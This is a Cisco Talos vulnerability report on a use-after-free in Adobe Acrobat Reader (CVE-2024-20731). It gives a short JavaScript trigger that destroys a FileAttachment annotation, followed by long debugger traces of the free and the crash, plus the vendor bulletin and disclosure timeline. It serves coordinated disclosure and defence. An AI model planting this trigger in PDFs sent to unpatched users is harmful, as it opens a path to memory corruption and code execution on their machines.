Talos Vulnerability Report

TALOS-2023-1901

Adobe Acrobat Reader FileAttachment PDAnnot destroy use-after-free vulnerability

February 15, 2024
CVE Number

CVE-2024-20731

SUMMARY

A use-after-free vulnerability exists in the FileAttachment PDAnnot object processing in Adobe Acrobat Reader 2023.006.20380. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and could result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Adobe Acrobat Reader 2023.006.20380

PRODUCT URLS

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs.

Adobe’s PDF uses AVPageView object to display the visible content of a document page. The AVPageView object contains references to a number of objects, and one such object is PDAnnot, which represents PDF annotation objects. PDF supports different types of annotation objects such as Caret, Circle, FileAttachment and so on. This vulnerability can be demonstrated with the PDF file that contains a FileAttachment PDAnnot object and the following JavaScript code:

function main() {

    app.activeDocs[0].addField("DDDD", "combobox", 1, [5,6,6,5] );

    app.activeDocs[0].getField('txt2').setFocus();  

    getField("DDDD").setAction("Format",'destroy();');

}


function destroy() { 

    app.activeDocs[0].getAnnots()[0].destroy();


}

In the main function, a combobox field is added to the page 2 of the PDF. The txt2 field and the FileAttachment annotation are also present on page 2 of the PDF. The setFocus method focuses on the txt2 field, which in turn changes the current viewing page to page 2 of the PDF. This triggers the call to the destroy function. The destroy function destroys the first annotation object, which in this case was the FileAttachment PDAnnot object. The use-after-free vulnerability occurs when the freed PDAnnot object is used without any validation. We can observe the following in the debugger (with PageHeap enabled):

0:000> g
eax=0000003a
82ba90c8  817297b8 ffffff87 00000001 ffffff81
815332fc  "Function"
7fe219e8  "getAnnots"
64c1afb0  "Doc"
7fe219e8  "getAnnots"
eax=0000003a
82ba90c8  81729ba0 ffffff87 00000001 ffffff81
815332fc  "Function"
7fe21d88  "destroy"
e3774fb0  "Markup"
7fe21d88  "destroy"
(1124.2bc4): C++ EH exception - code e06d7363 (first chance)
(1124.2bc4): C++ EH exception - code e06d7363 (first chance)
destroy PDAnnot object
eax=00000000 ebx=0533da6c ecx=d0f14f48 edx=04050000 esi=6d72e480 edi=d0f14f48
eip=6d72e458 esp=0533d91c ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14dea8:
6d72e458 57              push    edi                                         <--------------------- (1)
0:000> dd d0f14f48 L2f
d0f14f48  6ed59300 00000000 00000000 ffffffff
d0f14f58  00000000 00000000 0000004c 000000ee
d0f14f68  00000087 00000128 00000001 00010001
d0f14f78  00000000 00000000 00000000 00000001
d0f14f88  8ef80eb0 c4a5cff8 00000027 00000000
d0f14f98  6ebea7e8 cbd0efe8 00000000 00000000
d0f14fa8  00000000 00000000 00000000 00000000
d0f14fb8  00000000 00000000 00000000 00000000
d0f14fc8  00000000 00000000 00000000 00000001
d0f14fd8  c0030000 0000000c 4a35fff8 0000083c
d0f14fe8  00000000 00000000 00000000 00000000
d0f14ff8  00000000 00000000 ????????

0:000> r
eax=00000000 ebx=0533da6c ecx=d0f14f48 edx=04050000 esi=6d72e480 edi=d0f14f48
eip=6d72e458 esp=0533d91c ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14dea8:
6d72e458 57              push    edi
0:000> p
eax=00000000 ebx=0533da6c ecx=d0f14f48 edx=04050000 esi=6d72e480 edi=d0f14f48
eip=6d72e459 esp=0533d918 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14dea9:
6d72e459 68f496d56e      push    offset AcroRd32!AIDE::AIDEInputOutputStreamCallBacks::mVersion+0x1fd7e8 (6ed596f4)
0:000> p
eax=00000000 ebx=0533da6c ecx=d0f14f48 edx=04050000 esi=6d72e480 edi=d0f14f48
eip=6d72e45e esp=0533d914 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14deae:
6d72e45e e8ad1cc6ff      call    AcroRd32!DllCanUnloadNow+0x354f0 (6d390110)
0:000> p
eax=6ed596f4 ebx=0533da6c ecx=6d390189 edx=00000000 esi=6d72e480 edi=d0f14f48
eip=6d72e463 esp=0533d914 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14deb3:
6d72e463 8b07            mov     eax,dword ptr [edi]  ds:002b:d0f14f48=6ed59300
0:000> p
eax=6ed59300 ebx=0533da6c ecx=6d390189 edx=00000000 esi=6d72e480 edi=d0f14f48
eip=6d72e465 esp=0533d914 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14deb5:
6d72e465 59              pop     ecx
0:000> p
eax=6ed59300 ebx=0533da6c ecx=6ed596f4 edx=00000000 esi=6d72e480 edi=d0f14f48
eip=6d72e466 esp=0533d918 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14deb6:
6d72e466 59              pop     ecx
0:000> p
eax=6ed59300 ebx=0533da6c ecx=d0f14f48 edx=00000000 esi=6d72e480 edi=d0f14f48
eip=6d72e467 esp=0533d91c ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14deb7:
6d72e467 6a01            push    1
0:000> p
eax=6ed59300 ebx=0533da6c ecx=d0f14f48 edx=00000000 esi=6d72e480 edi=d0f14f48
eip=6d72e469 esp=0533d918 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14deb9:
6d72e469 8b30            mov     esi,dword ptr [eax]  ds:002b:6ed59300=6d72e4d0
0:000> p
eax=6ed59300 ebx=0533da6c ecx=d0f14f48 edx=00000000 esi=6d72e4d0 edi=d0f14f48
eip=6d72e46b esp=0533d918 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14debb:
6d72e46b 8bce            mov     ecx,esi
0:000> p
eax=6ed59300 ebx=0533da6c ecx=6d72e4d0 edx=00000000 esi=6d72e4d0 edi=d0f14f48
eip=6d72e46d esp=0533d918 ebp=0533d964 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32!CTJPEGMetaData::operator=+0x14debd:
6d72e46d ff15a847a26e    call    dword ptr [AcroRd32!AcroSecurityBailOutImpl+0x32fa88 (6ea247a8)] ds:002b:6ea247a8={ntdll!LdrpValidateUserCallTarget (77a988f0)}
0:000> p
eax=0dae5c9a ebx=0533da6c ecx=6d72e4d0 edx=04050000 esi=6d72e4d0 edi=d0f14f48
eip=6d72e473 esp=0533d918 ebp=0533d964 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroRd32!CTJPEGMetaData::operator=+0x14dec3:
6d72e473 8bcf            mov     ecx,edi
0:000> p
eax=0dae5c9a ebx=0533da6c ecx=d0f14f48 edx=04050000 esi=6d72e4d0 edi=d0f14f48
eip=6d72e475 esp=0533d918 ebp=0533d964 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroRd32!CTJPEGMetaData::operator=+0x14dec5:
6d72e475 ffd6            call    esi {AcroRd32!CTJPEGMetaData::operator=+0x14df20 (6d72e4d0)}
0:000> dd d0f14f48 L2f                                                     <--------------------- (2)
d0f14f48  6ed59300 00000000 00000000 ffffffff
d0f14f58  00000000 00000000 0000004c 000000ee
d0f14f68  00000087 00000128 00000001 00010001
d0f14f78  00000000 00000000 00000000 00000001
d0f14f88  8ef80eb0 c4a5cff8 00000027 00000000
d0f14f98  6ebea7e8 cbd0efe8 00000000 00000000
d0f14fa8  00000000 00000000 00000000 00000000
d0f14fb8  00000000 00000000 00000000 00000000
d0f14fc8  00000000 00000000 00000000 00000001
d0f14fd8  c0030000 0000000c 4a35fff8 0000083c
d0f14fe8  00000000 00000000 00000000 00000000
d0f14ff8  00000000 00000000 ????????
0:000> p
eax=d0f14f48 ebx=0533da6c ecx=c3413d14 edx=08c40000 esi=6d72e4d0 edi=d0f14f48
eip=6d72e477 esp=0533d91c ebp=0533d964 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AcroRd32!CTJPEGMetaData::operator=+0x14dec7:
6d72e477 e884bdbeff      call    AcroRd32!CTJPEGWriter::CTJPEGWriter+0x230 (6d31a200)  <--------------------- (3)
0:000> dd d0f14f48 L2f                                                 <--------------------- (4)
d0f14f48  ???????? ???????? ???????? ????????
d0f14f58  ???????? ???????? ???????? ????????
d0f14f68  ???????? ???????? ???????? ????????
d0f14f78  ???????? ???????? ???????? ????????
d0f14f88  ???????? ???????? ???????? ????????
d0f14f98  ???????? ???????? ???????? ????????
d0f14fa8  ???????? ???????? ???????? ????????
d0f14fb8  ???????? ???????? ???????? ????????
d0f14fc8  ???????? ???????? ???????? ????????
d0f14fd8  ???????? ???????? ???????? ????????
d0f14fe8  ???????? ???????? ???????? ????????
d0f14ff8  ???????? ???????? ????????

At [1] above, the edi register contains the vulnerable PDAnnot buffer. The method called at [3] eventually calls free, and the argument of the free function comes from the edi register at [1]. The value of the vulnerable buffer is examined at [2], and [4] shows its value before and after the free function is called. The vulnerable freed buffer is later used without any validation. This can be observed in a debugger at the time of the crash:

0:000> g
(1124.2bc4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0533f004 ebx=0533f054 ecx=d0f14f48 edx=08c40000 esi=00000000 edi=d0f14f48
eip=6d58ba71 esp=0533efb0 ebp=0533f010 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
AcroRd32!CTJPEGReader::operator=+0xd61d1:
6d58ba71 66397728        cmp     word ptr [edi+28h],si    ds:002b:d0f14f70=????
0:000> u
AcroRd32!CTJPEGReader::operator=+0xd61d1:
6d58ba71 66397728        cmp     word ptr [edi+28h],si
6d58ba75 740e            je      AcroRd32!CTJPEGReader::operator=+0xd61e5 (6d58ba85)
6d58ba77 8d7718          lea     esi,[edi+18h]
6d58ba7a 8bfb            mov     edi,ebx
6d58ba7c a5              movs    dword ptr es:[edi],dword ptr [esi]
6d58ba7d a5              movs    dword ptr es:[edi],dword ptr [esi]
6d58ba7e a5              movs    dword ptr es:[edi],dword ptr [esi]
6d58ba7f a5              movs    dword ptr es:[edi],dword ptr [esi]
0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0533f010 6dff65ba     0533f054 c3411470 8ef80eb0 AcroRd32!CTJPEGReader::operator=+0xd61d1
01 0533f074 6dff6568     0533f094 e3006f70 c34114b4 AcroRd32!AIDE::PixelPartInfo::operator=+0x3b6dea
02 0533f0b0 6dff61c0     e3006f70 bb252e48 c341152c AcroRd32!AIDE::PixelPartInfo::operator=+0x3b6d98
03 0533f128 6e18ade7     bb252e48 c341155c cf858ab8 AcroRd32!AIDE::PixelPartInfo::operator=+0x3b69f0
04 0533f158 6e13f39c     c34115b0 cf858ab8 bb252e48 AcroRd32!AIDE::PixelPartInfo::operator=+0x54b617
05 0533f1b4 6e1408ec     c34115d8 cf858ab8 00000001 AcroRd32!AIDE::PixelPartInfo::operator=+0x4ffbcc
06 0533f1dc 6e133b71     c3411674 00000000 dbb5cffc AcroRd32!AIDE::PixelPartInfo::operator=+0x50111c
07 0533f270 6e136a74     00000001 00000000 00000001 AcroRd32!AIDE::PixelPartInfo::operator=+0x4f43a1
08 0533f2b8 6e13b3ad     cf4c2e40 00000001 00000000 AcroRd32!AIDE::PixelPartInfo::operator=+0x4f72a4
09 0533f304 6d3a70c6     cf4c2e40 c3411758 0e934f50 AcroRd32!AIDE::PixelPartInfo::operator=+0x4fbbdd
0a 0533f35c 6d3a5cdf     00008a02 c34117f0 1d417fd0 AcroRd32!DllCanUnloadNow+0x4c4a6
0b 0533f3f4 6d3a518a     00008a02 6d3a4f77 c3411048 AcroRd32!DllCanUnloadNow+0x4b0bf
0c 0533f44c 6d32d784     000004d3 00000000 00000113 AcroRd32!DllCanUnloadNow+0x4a56a
0d 0533f468 75fb0eab     000a074e 00000113 000004d3 AcroRd32!AcroWinMainSandbox+0xaeb4
0e 0533f494 75fa7e5a     6d32d280 000a074e 00000113 USER32!_InternalCallWinProc+0x2b
0f 0533f578 75fa5bca     6d32d280 00000000 00000113 USER32!UserCallWinProcCheckWow+0x33a
10 0533f5ec 75fa5990     00000013 0533f610 6d3a4773 USER32!DispatchMessageWorker+0x22a
11 0533f5f8 6d3a4773     0533f62c 1d401da8 1d401da8 USER32!DispatchMessageW+0x10
12 0533f610 6d3a445e     0533f62c c3411280 1d401da8 AcroRd32!DllCanUnloadNow+0x49b53
13 0533f684 6d3a4289     c34112b8 1d401da8 00000000 AcroRd32!DllCanUnloadNow+0x4983e
14 0533f6bc 6d323043     c3411334 0d4aaff8 00000000 AcroRd32!DllCanUnloadNow+0x49669
15 0533f730 6d322a5f     6d180000 00af0000 0d4aaff8 AcroRd32!AcroWinMainSandbox+0x773
16 0533fb54 00cd59d0     6d180000 00af0000 0d4aaff8 AcroRd32!AcroWinMainSandbox+0x18f
17 0533ff08 00d21efa     00af0000 00000000 08c60018 AcroRd32_exe!IsSandboxedProcess+0x126030
18 0533ff54 76eefcc9     05188000 76eefcb0 0533ffc0 AcroRd32_exe!AcroRd32IsBrokerProcess+0x1d54a
19 0533ff64 77a77c6e     05188000 580e324d 00000000 KERNEL32!BaseThreadInitThunk+0x19
1a 0533ffc0 77a77c3e     ffffffff 77a98c3d 00000000 ntdll!__RtlUserThreadStart+0x2f
1b 0533ffd0 00000000     00cd1640 05188000 00000000 ntdll!_RtlUserThreadStart+0x1b

In the above debugger output, the crash occurs when edi is dereferenced, as if it were an object pointer. Depending on the memory layout of the process, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.

VENDOR RESPONSE

The vendor released a security bulletin at: https://helpx.adobe.com/security/products/acrobat/apsb24-07.html Patches can be found linked from this site

TIMELINE

2023-12-19 - Vendor Disclosure
2024-02-13 - Vendor Patch Release
2024-02-15 - Public Release

Credit

Discovered by KPC of Cisco Talos.